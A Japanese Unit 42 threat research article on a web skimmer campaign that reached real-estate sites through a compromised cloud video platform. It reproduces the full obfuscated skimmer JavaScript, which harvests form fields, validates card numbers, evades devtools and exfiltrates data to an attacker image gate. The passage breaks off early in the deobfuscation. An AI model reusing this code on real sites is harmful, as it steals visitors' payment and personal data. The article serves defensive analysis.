[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.jp/)  
[![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/ja/)  
Menu

* [セキュリティ コンサルティング](https://www.paloaltonetworks.com/unit42)
* [**現在、攻撃を受けていますか?**](https://start.paloaltonetworks.com/contact-unit42.html)  
  Japanese
* [English](https://unit42.paloaltonetworks.com/web-skimmer-video-distribution/)
* [Japanese](https://unit42.paloaltonetworks.com/ja/web-skimmer-video-distribution/)
* [Threat Research Center](https://unit42.paloaltonetworks.com/ja/ "Threat Research")
* [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/ "脅威リサーチ")
* [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/ "マルウェア")  
  [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/)

# クラウドビデオ配信のサプライチェーン攻撃により不動産サイトを狙う新たなWebスキマーキャンペーンを発見

![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 6 分で読めます  
Related Products  
[![Advanced URL Filtering icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced URL Filtering](https://unit42.paloaltonetworks.com/ja/product-category/advanced-url-filtering-ja/ "Advanced URL Filtering")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/ja/product-category/advanced-wildfire-ja/ "Advanced WildFire")

* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  著者:
  
  * [Tao Yan](https://unit42.paloaltonetworks.com/ja/author/tao-yan/)
  * [Jin Chen](https://unit42.paloaltonetworks.com/ja/author/jin-chen/)
  * [Taojie Wang](https://unit42.paloaltonetworks.com/ja/author/taojie-wang/)

* ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg)  
  公開日:2022年1月3日

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg)  
  カテゴリー
  
  * [サイバー犯罪](https://unit42.paloaltonetworks.com/ja/category/cybercrime-ja/)
  * [マルウェア](https://unit42.paloaltonetworks.com/ja/category/malware-ja/)
  * [脅威リサーチ](https://unit42.paloaltonetworks.com/ja/category/threat-research-ja/)

* ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg)  
  タグ:
  
  * [Formjacking Attack](https://unit42.paloaltonetworks.com/ja/tag/formjacking-attack-ja/)
  * [Web skimmer](https://unit42.paloaltonetworks.com/ja/tag/web-skimmer-ja/)

* [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/ja/web-skimmer-video-distribution/?pdf=download&lg=ja&_wpnonce=edee969a51 "Click here to download")

* [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/ja/web-skimmer-video-distribution/?pdf=print&lg=ja&_wpnonce=edee969a51 "Click here to print")

共有![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg)

* ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg)
* [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=クラウドビデオ配信のサプライチェーン攻撃により不動産サイトを狙う新たなWebスキマーキャンペーンを発見&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fweb-skimmer-video-distribution%2F "Share in email")
* [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fweb-skimmer-video-distribution%2F "Share in Facebook")
* [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fweb-skimmer-video-distribution%2F&title=クラウドビデオ配信のサプライチェーン攻撃により不動産サイトを狙う新たなWebスキマーキャンペーンを発見 "Share in LinkedIn")
* [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fweb-skimmer-video-distribution%2F&text=クラウドビデオ配信のサプライチェーン攻撃により不動産サイトを狙う新たなWebスキマーキャンペーンを発見 "Share in Twitter")
* [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fweb-skimmer-video-distribution%2F&ts=markdown "Share in Reddit")
* [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=クラウドビデオ配信のサプライチェーン攻撃により不動産サイトを狙う新たなWebスキマーキャンペーンを発見%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fja%2Fweb-skimmer-video-distribution%2F "Share in Mastodon")

## 概要

サプライチェーンのネットワークは、頻繁にサイバー犯罪の標的にされています。その理由は、サプライチェーン内の「弱いリンク」をコントロールすることで、より多くの被害者にアクセスできるようになるからです。とくにその弱いリンクがサプライチェーンをソースとしていればさらに効果的です。最近私たちは、クラウドビデオプラットフォームを利用して「スキマー(別名[フォームジャッキング](https://unit42.paloaltonetworks.com/tag/formjacking-attack/))」キャンペーンを展開するサプライチェーン攻撃を確認しました。スキマー攻撃では、サイバー犯罪者が悪意のあるJavaScriptコードを挿入してWebサイトをハッキングし、そのサイトのHTMLフォームページの機能を乗っ取って、ユーザーの機微情報を収集します。今回の攻撃の場合、攻撃者はビデオにスキマー用JavaScriptコードを挿入しているため、他の人がビデオを取り込むと、その人のWebサイトにもスキマーコードが埋め込まれてしまいます。

パロアルトネットワークスのプロアクティブな監視・検知サービスは、同一のスキマー攻撃で侵害された100件以上の不動産サイトを検出しました。スキマー攻撃は、以前のブログ「[詳説 フォームジャッキング攻撃 処理の流れとテクニック](https://unit42.paloaltonetworks.jp/anatomy-of-formjacking-attacks/)」と「[Webスキマーに関する詳細な考察](https://unit42.paloaltonetworks.jp/web-skimmer/)」の公開以降、攻撃者の間で人気が高まっています。特定したサイトを分析した結果、すべての侵害サイトが1つの親会社に属していることがわかりました。これらの侵害サイトはすべて、あるクラウドビデオプラットフォームから同一ビデオ(悪意のあるスクリプトを含む)を取り込んでいました。

弊社は当該クラウドビデオプラットフォームと不動産会社と協力して、ビデオの公開前にマルウェアを除去する支援をしました。本稿は、サプライチェーン攻撃により、知らぬ間に正規Webサイトが感染してしまう可能性があることを、組織やWebユーザーの皆さんに警告することを目的としています。以下、スキマー攻撃の展開方法、被害者の機微情報を窃取する方法を順を追って説明します。

パロアルトネットワークスのお客様は、[次世代ファイアウォール](https://www.paloaltonetworks.jp/network-security/next-generation-firewall)の[WildFire](https://www.paloaltonetworks.jp/products/secure-the-network/wildfire)、[URL Filtering](https://www.paloaltonetworks.jp/products/threat-detection-and-prevention/web-security)サブスクリプションサービスによりこの種の攻撃から保護されています。

|-------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| 本稿で扱う攻撃の種別と脆弱性の種別 | [Skimmer attacks](https://unit42.paloaltonetworks.com/tag/web-skimmer/), [formjacking](https://unit42.paloaltonetworks.com/tag/formjacking-attack/) |
| Unit 42 の関連タグ     | [Information stealing](https://unit42.paloaltonetworks.com/tag/information-disclosure/)                                                             |

## 目次

[スキマー検出](#skimmer-detection)  
[スキマーコード解析](#skimmer-code-analysis)  
[ビデオに含まれる悪意のあるコード](#malicious-code-in-video)  
[結論](#conclusion)  
[IoC](#indicators-of-compromise)

## スキマー検出

私たちは、自社のプロアクティブな監視・検知サービスを使い、今回取り上げたスキマー攻撃によって侵害されたWebサイトを捕捉しました。捕捉されたWebサイトは以下のIoC([Indicator of compromise、侵害指標](#indicators-of-compromise))セクションに記載します。

ここではあるWebサイトを例にとります(図1参照)。このフォームは、訪問者が売家に関する詳細情報を要求するためのもので、ユーザーの個人情報の提供を求めるフィールドが含まれています。

![このフォームは、訪問者が売家に関する詳細情報を要求するためのもので、ユーザーの個人情報の提供を求めるフィールドが含まれています。](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/12/word-image-19.png) 図1 潜在的被害者の機微情報を聞き出す

このページにアクセスすると弊社の検知サービスがiframeのURLにあるスキマー攻撃を検知します。
![図1に示したページにアクセスすると弊社の検知サービスがiframeのURLにあるスキマー攻撃を検知します。](https://unit42.paloaltonetworks.com/wp-content/uploads/2021/12/word-image-20.png) 図2 このHTMLページには悪意のあるコードが存在している

## スキマーコード解析

このスキマーがどのように動作するかを理解するため、サンプルコードを深く掘り下げてみましょう。まずは侵害サイトから抽出したJavaScriptのコードを見てみます。

var u=\["VHJ5U2VuZA==","SU1H","R2V0SW1hZ2VVcmw=","P3JlZmY9","b25yZWFkeXN0YXRlY2hhbmdl","cmVhZHlTdGF0ZQ==","Y29tcGxldGU=","c2V0SW50ZXJ2YWw=","cmVwbGFjZQ==","dGVzdA==","bGVuZ3Ro","Y2hhckF0","aXNPcGVu","b3JpZW50YXRpb24=","ZGlzcGF0Y2hFdmVudA==","b3V0ZXJXaWR0aA==","aW5uZXJXaWR0aA==","b3V0ZXJIZWlnaHQ=","aW5uZXJIZWlnaHQ=","dmVydGljYWw=","aG9yaXpvbnRhbA==","RmlyZWJ1Zw==","Y2hyb21l","aXNJbml0aWFsaXplZA==","dW5kZWZpbmVk","ZXhwb3J0cw==","ZGV2dG9vbHM=","aGFzaENvZGU=","Y2hhckNvZGVBdA==","R2F0ZQ==","RGF0YQ==","U2F2ZVBhcmFt","U2F2ZUFsbEZpZWxkcw==","aW5wdXQ=","c2VsZWN0","dGV4dGFyZWE=","U2VuZERhdGE="\]; (function(e,t){var r=function(t){while(--t){e\["push"\](e\["shift"\]())}};r(++t)})(u,230); var l=function(t,r){t=t-0;var i=u\[t\]; if(l\["HwWGHQ"\]===undefined){(function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")( )'+"); ")()}catch(r){t=e}return t}; var r=t(); var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\]||(r\["atob"\]=function(e){var t=String(e)\["replace"\](/=+$/,""); for(var r=0,n,a,s=0,o=""; a=t\["charAt"\](s++); ~a\&\&(n=r%4?n\*64+a:a,r++%4)?o+=String\["fromCharCode"\](255\&n\>\>(-2\*r\&6)):0){a=i\["indexOf"\](a)}return o})})(); l\["lGbxnk"\]=function(e){var t=atob(e); var r=\[\]; for(var i=0,n=t\["length"\]; i\<n;i++){r+="%"+("00"+t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2)}return decodeURIComponent(r)}; l\["giOUOg"\]={}; l\["HwWGHQ"\]=!!\[\]}var n=l\["giOUOg"\]\[t\]; if(n===undefined){i=l\["lGbxnk"\](i); l\["giOUOg"\]\[t\]=i}else{i=n}return i}; function c(e,t,r){return e\[l("0x0")\](new RegExp(t,"g"),r)}function d(e){var t=/^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r=/^(?:5\[1-5\]\[0-9\]{14})$/; var i=/^(?:3\[47\]\[0-9\]{13})$/; var n=/^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a=!\[\]; if(t\["test"\](e)){a=!!\[\]}else if(r\[l("0x1")\](e)){a=!!\[\]}else if(i\[l("0x1")\](e)){a=!!\[\]}else if(n\[l("0x1")\](e)){a=!!\[\]}return a}function f(e){if(/\[^0-9-\\s\]+/\["test"\](e))return!\[\]; var t=0,r=0,i=!\[\]; e=e\[l("0x0")\](/\\D/g,""); for(var n=e\[l("0x2")\]-1; n\>=0; n--){var a=e\[l("0x3")\](n),r=parseInt(a,10); if(i){if((r\*=2)\>9)r-=9}t+=r; i=!i}return t%10==0}(function(){"use strict"; const t={}; t\[l("0x4")\]=!\[\]; t\[l("0x5")\]=undefined;const r=160; const i=(t,r)=\>{e\[l("0x6")\](new CustomEvent("devtoolschange",{detail:{isOpen:t,orientation:r}}))}; setInterval(()=\>{const n=e\[l("0x7")\]-e\[l("0x8")\]\>r; const a=e\[l("0x9")\]-e\[l("0xa")\]\>r; const s=n?l("0xb"):l("0xc"); if(!(a\&\&n)\&\&(e\[l("0xd")\]\&\&e\["Firebug"\]\[l("0xe")\]\&\&e\[l("0xd")\]\["chrome"\]\[l("0xf")\]||n||a)){if(!t\["isOpen"\]||t\[l("0x5")\]!==s){i(!!\[\],s)}t\["isOpen"\]=!!\[\]; t\["orientation"\]=s}else{if(t\[l("0x4")\]){i(!\[\],undefined)}t\["isOpen"\]=!\[\]; t\[l("0x5")\]=undefined}},500); if(typeof module!==l("0x10")\&\&module\[l("0x11")\]){module\[l("0x11")\]=t}else{e\[l("0x12")\]=t}})(); String\["prototype"\]\[l("0x13")\]=function(){var e=0,t,r; if(this\[l("0x2")\]===0)return e; for(t=0;t\<this\[l("0x2")\]; t++){r=this\[l("0x14")\](t); e=(e\<\<5)-e+r; e|=0}return e}; var h={}; h\[l("0x15")\]="https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\]={}; h\["Sent"\]=\[\]; h\["IsValid"\]=!\[\]; h\[l("0x17")\]=function(e){if(e.id!==undefined\&\&e.id!=""\&\&e.id!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.id\]=e.value; return}if(e.name!==undefined\&\&e.name!=""\&\&e.name!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.name\]=e.value;return}}; h\[l("0x18")\]=function(){var e=t.getElementsByTagName(l("0x19")); var r=t.getElementsByTagName(l("0x1a")); var i=t.getElementsByTagName(l("0x1b")); for(var n=0; n\<e.length;n++)h.SaveParam(e\[n\]); for(var n=0; n\<r.length;n++)h.SaveParam(r\[n\]); for(var n=0; n\<i.length;n++)h.SaveParam(i\[n\])}; h\[l("0x1c")\]=function(){if(!e.devtools.isOpen\&\&h.IsValid){h.Data\["Domain"\]=location.hostname; var t=encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r=t.hashCode(); for(var i=0; i\<h.Sent.length;i++)if(h.Sent\[i\]==r)return;h.LoadImage(t)}}; h\[l("0x1d")\]=function(){h.SaveAllFields(); h.SendData()}; h\["LoadImage"\]=function(e){h.Sent.push(e.hashCode()); var r=t.createElement(l("0x1e")); r.src=h.GetImageUrl(e)}; h\[l("0x1f")\]=function(e){return h.Gate+l("0x20")+e}; t\[l("0x21")\]=function(){if(t\[l("0x22")\]===l("0x23")){e\[l("0x24")\](h\[l("0x1d")\],500)}};

|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | var u=\["VHJ5U2VuZA==","SU1H","R2V0SW1hZ2VVcmw=","P3JlZmY9","b25yZWFkeXN0YXRlY2hhbmdl","cmVhZHlTdGF0ZQ==","Y29tcGxldGU=","c2V0SW50ZXJ2YWw=","cmVwbGFjZQ==","dGVzdA==","bGVuZ3Ro","Y2hhckF0","aXNPcGVu","b3JpZW50YXRpb24=","ZGlzcGF0Y2hFdmVudA==","b3V0ZXJXaWR0aA==","aW5uZXJXaWR0aA==","b3V0ZXJIZWlnaHQ=","aW5uZXJIZWlnaHQ=","dmVydGljYWw=","aG9yaXpvbnRhbA==","RmlyZWJ1Zw==","Y2hyb21l","aXNJbml0aWFsaXplZA==","dW5kZWZpbmVk","ZXhwb3J0cw==","ZGV2dG9vbHM=","aGFzaENvZGU=","Y2hhckNvZGVBdA==","R2F0ZQ==","RGF0YQ==","U2F2ZVBhcmFt","U2F2ZUFsbEZpZWxkcw==","aW5wdXQ=","c2VsZWN0","dGV4dGFyZWE=","U2VuZERhdGE="\]; (function(e,t){var r=function(t){while(--t){e\["push"\](e\["shift"\]())}};r(++t)})(u,230); var l=function(t,r){t=t-0;var i=u\[t\]; if(l\["HwWGHQ"\]===undefined){(function(){var t=function(){var t;try{t=Function("return (function() "+'{}.constructor("return this")( )'+"); ")()}catch(r){t=e}return t}; var r=t(); var i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\]||(r\["atob"\]=function(e){var t=String(e)\["replace"\](/=+$/,""); for(var r=0,n,a,s=0,o=""; a=t\["charAt"\](s++); ~a\&\&(n=r%4?n\*64+a:a,r++%4)?o+=String\["fromCharCode"\](255\&n\>\>(-2\*r\&6)):0){a=i\["indexOf"\](a)}return o})})(); l\["lGbxnk"\]=function(e){var t=atob(e); var r=\[\]; for(var i=0,n=t\["length"\]; i\<n;i++){r+="%"+("00"+t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2)}return decodeURIComponent(r)}; l\["giOUOg"\]={}; l\["HwWGHQ"\]=!!\[\]}var n=l\["giOUOg"\]\[t\]; if(n===undefined){i=l\["lGbxnk"\](i); l\["giOUOg"\]\[t\]=i}else{i=n}return i}; function c(e,t,r){return e\[l("0x0")\](new RegExp(t,"g"),r)}function d(e){var t=/^(?:4\[0-9\]{12}(?:\[0-9\]{3})?)$/; var r=/^(?:5\[1-5\]\[0-9\]{14})$/; var i=/^(?:3\[47\]\[0-9\]{13})$/; var n=/^(?:6(?:011|5\[0-9\]\[0-9\])\[0-9\]{12})$/; var a=!\[\]; if(t\["test"\](e)){a=!!\[\]}else if(r\[l("0x1")\](e)){a=!!\[\]}else if(i\[l("0x1")\](e)){a=!!\[\]}else if(n\[l("0x1")\](e)){a=!!\[\]}return a}function f(e){if(/\[^0-9-\\s\]+/\["test"\](e))return!\[\]; var t=0,r=0,i=!\[\]; e=e\[l("0x0")\](/\\D/g,""); for(var n=e\[l("0x2")\]-1; n\>=0; n--){var a=e\[l("0x3")\](n),r=parseInt(a,10); if(i){if((r\*=2)\>9)r-=9}t+=r; i=!i}return t%10==0}(function(){"use strict"; const t={}; t\[l("0x4")\]=!\[\]; t\[l("0x5")\]=undefined;const r=160; const i=(t,r)=\>{e\[l("0x6")\](new CustomEvent("devtoolschange",{detail:{isOpen:t,orientation:r}}))}; setInterval(()=\>{const n=e\[l("0x7")\]-e\[l("0x8")\]\>r; const a=e\[l("0x9")\]-e\[l("0xa")\]\>r; const s=n?l("0xb"):l("0xc"); if(!(a\&\&n)\&\&(e\[l("0xd")\]\&\&e\["Firebug"\]\[l("0xe")\]\&\&e\[l("0xd")\]\["chrome"\]\[l("0xf")\]||n||a)){if(!t\["isOpen"\]||t\[l("0x5")\]!==s){i(!!\[\],s)}t\["isOpen"\]=!!\[\]; t\["orientation"\]=s}else{if(t\[l("0x4")\]){i(!\[\],undefined)}t\["isOpen"\]=!\[\]; t\[l("0x5")\]=undefined}},500); if(typeof module!==l("0x10")\&\&module\[l("0x11")\]){module\[l("0x11")\]=t}else{e\[l("0x12")\]=t}})(); String\["prototype"\]\[l("0x13")\]=function(){var e=0,t,r; if(this\[l("0x2")\]===0)return e; for(t=0;t\<this\[l("0x2")\]; t++){r=this\[l("0x14")\](t); e=(e\<\<5)-e+r; e|=0}return e}; var h={}; h\[l("0x15")\]="https://cdn-imgcloud\[.\]com/img"; h\[l("0x16")\]={}; h\["Sent"\]=\[\]; h\["IsValid"\]=!\[\]; h\[l("0x17")\]=function(e){if(e.id!==undefined\&\&e.id!=""\&\&e.id!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.id\]=e.value; return}if(e.name!==undefined\&\&e.name!=""\&\&e.name!==null\&\&e.value.length\<256\&\&e.value.length\>0){if(f(c(c(e.value,"-","")," ",""))\&\&d(c(c(e.value,"-","")," ","")))h.IsValid=!!\[\]; h.Data\[e.name\]=e.value;return}}; h\[l("0x18")\]=function(){var e=t.getElementsByTagName(l("0x19")); var r=t.getElementsByTagName(l("0x1a")); var i=t.getElementsByTagName(l("0x1b")); for(var n=0; n\<e.length;n++)h.SaveParam(e\[n\]); for(var n=0; n\<r.length;n++)h.SaveParam(r\[n\]); for(var n=0; n\<i.length;n++)h.SaveParam(i\[n\])}; h\[l("0x1c")\]=function(){if(!e.devtools.isOpen\&\&h.IsValid){h.Data\["Domain"\]=location.hostname; var t=encodeURIComponent(e.btoa(JSON.stringify(h.Data))); var r=t.hashCode(); for(var i=0; i\<h.Sent.length;i++)if(h.Sent\[i\]==r)return;h.LoadImage(t)}}; h\[l("0x1d")\]=function(){h.SaveAllFields(); h.SendData()}; h\["LoadImage"\]=function(e){h.Sent.push(e.hashCode()); var r=t.createElement(l("0x1e")); r.src=h.GetImageUrl(e)}; h\[l("0x1f")\]=function(e){return h.Gate+l("0x20")+e}; t\[l("0x21")\]=function(){if(t\[l("0x22")\]===l("0x23")){e\[l("0x24")\](h\[l("0x1d")\],500)}}; |

高度に難読化されているため、このコードからはこの攻撃が何をしようとしているのかがほとんどわかりません。これを整形して4つのパートに分け、理解しやすくします。

### スキマーコード パート1

var u = \["VHJ5U2VuZA==", "SU1H", "R2V0SW1hZ2VVcmw=", "P3JlZmY9", "b25yZWFkeXN0YXRlY2hhbmdl", "cmVhZHlTdGF0ZQ==", "Y29tcGxldGU=", "c2V0SW50ZXJ2YWw=", "cmVwbGFjZQ==", "dGVzdA==", "bGVuZ3Ro", "Y2hhckF0", "aXNPcGVu", "b3JpZW50YXRpb24=", "ZGlzcGF0Y2hFdmVudA==", "b3V0ZXJXaWR0aA==", "aW5uZXJXaWR0aA==", "b3V0ZXJIZWlnaHQ=", "aW5uZXJIZWlnaHQ=", "dmVydGljYWw=", "aG9yaXpvbnRhbA==", "RmlyZWJ1Zw==", "Y2hyb21l", "aXNJbml0aWFsaXplZA==", "dW5kZWZpbmVk", "ZXhwb3J0cw==", "ZGV2dG9vbHM=", "aGFzaENvZGU=", "Y2hhckNvZGVBdA==", "R2F0ZQ==", "RGF0YQ==", "U2F2ZVBhcmFt", "U2F2ZUFsbEZpZWxkcw==", "aW5wdXQ=", "c2VsZWN0", "dGV4dGFyZWE=", "U2VuZERhdGE="\]; (function(e, t) { var r = function(t) { while (--t) { e\["push"\](e\["shift"\]()) } }; r(++t) })(u, 230); var l = function(t, r) { t = t - 0; var i = u\[t\]; if (l\["HwWGHQ"\] === undefined) { (function() { var t = function() { var t; try { t = Function("return (function() " + '{}.constructor("return this")( )' + ");")() } catch (r) { t = e } return t }; var r = t(); var i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\] || (r\["atob"\] = function(e) { var t = String(e)\["replace"\](/=+$/, ""); for (var r = 0, n, a, s = 0, o = ""; a = t\["charAt"\](s++); ~a \&\& (n = r % 4 ?n \* 64 + a : a, r++ % 4) ?o += String\["fromCharCode"\](255 \& n \>\> (-2 \* r \& 6)) : 0) { a = i\["indexOf"\](a) } return o }) })(); l\["lGbxnk"\] = function(e) { var t = atob(e); var r = \[\]; for (var i = 0, n = t\["length"\]; i \< n; i++) { r += "%" + ("00" + t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2) } return decodeURIComponent(r) }; l\["giOUOg"\] = {}; l\["HwWGHQ"\] = !!\[\] } var n = l\["giOUOg"\]\[t\]; if (n === undefined) { i = l\["lGbxnk"\](i); l\["giOUOg"\]\[t\] = i } else { i = n } return i };

|-------------------------------------------------------------------------------------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | var u = \["VHJ5U2VuZA==", "SU1H", "R2V0SW1hZ2VVcmw=", "P3JlZmY9", "b25yZWFkeXN0YXRlY2hhbmdl", "cmVhZHlTdGF0ZQ==", "Y29tcGxldGU=", "c2V0SW50ZXJ2YWw=", "cmVwbGFjZQ==", "dGVzdA==", "bGVuZ3Ro", "Y2hhckF0", "aXNPcGVu", "b3JpZW50YXRpb24=", "ZGlzcGF0Y2hFdmVudA==", "b3V0ZXJXaWR0aA==", "aW5uZXJXaWR0aA==", "b3V0ZXJIZWlnaHQ=", "aW5uZXJIZWlnaHQ=", "dmVydGljYWw=", "aG9yaXpvbnRhbA==", "RmlyZWJ1Zw==", "Y2hyb21l", "aXNJbml0aWFsaXplZA==", "dW5kZWZpbmVk", "ZXhwb3J0cw==", "ZGV2dG9vbHM=", "aGFzaENvZGU=", "Y2hhckNvZGVBdA==", "R2F0ZQ==", "RGF0YQ==", "U2F2ZVBhcmFt", "U2F2ZUFsbEZpZWxkcw==", "aW5wdXQ=", "c2VsZWN0", "dGV4dGFyZWE=", "U2VuZERhdGE="\]; (function(e, t) { var r = function(t) { while (--t) { e\["push"\](e\["shift"\]()) } }; r(++t) })(u, 230); var l = function(t, r) { t = t - 0; var i = u\[t\]; if (l\["HwWGHQ"\] === undefined) { (function() { var t = function() { var t; try { t = Function("return (function() " + '{}.constructor("return this")( )' + ");")() } catch (r) { t = e } return t }; var r = t(); var i = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; r\["atob"\] || (r\["atob"\] = function(e) { var t = String(e)\["replace"\](/=+$/, ""); for (var r = 0, n, a, s = 0, o = ""; a = t\["charAt"\](s++); ~a \&\& (n = r % 4 ?n \* 64 + a : a, r++ % 4) ?o += String\["fromCharCode"\](255 \& n \>\> (-2 \* r \& 6)) : 0) { a = i\["indexOf"\](a) } return o }) })(); l\["lGbxnk"\] = function(e) { var t = atob(e); var r = \[\]; for (var i = 0, n = t\["length"\]; i \< n; i++) { r += "%" + ("00" + t\["charCodeAt"\](i)\["toString"\](16))\["slice"\](-2) } return decodeURIComponent(r) }; l\["giOUOg"\] = {}; l\["HwWGHQ"\] = !!\[\] } var n = l\["giOUOg"\]\[t\]; if (n === undefined) { i = l\["lGbxnk"\](i); l\["giOUOg"\]\[t\] = i } else { i = n } return i }; |

パート1のコードは、文字列の配列 u の復号に使用されるもので、復号関数は l です。

復号すると、以下の平文の配列を得られます。たとえば l(0x1)は文字列「test」です。

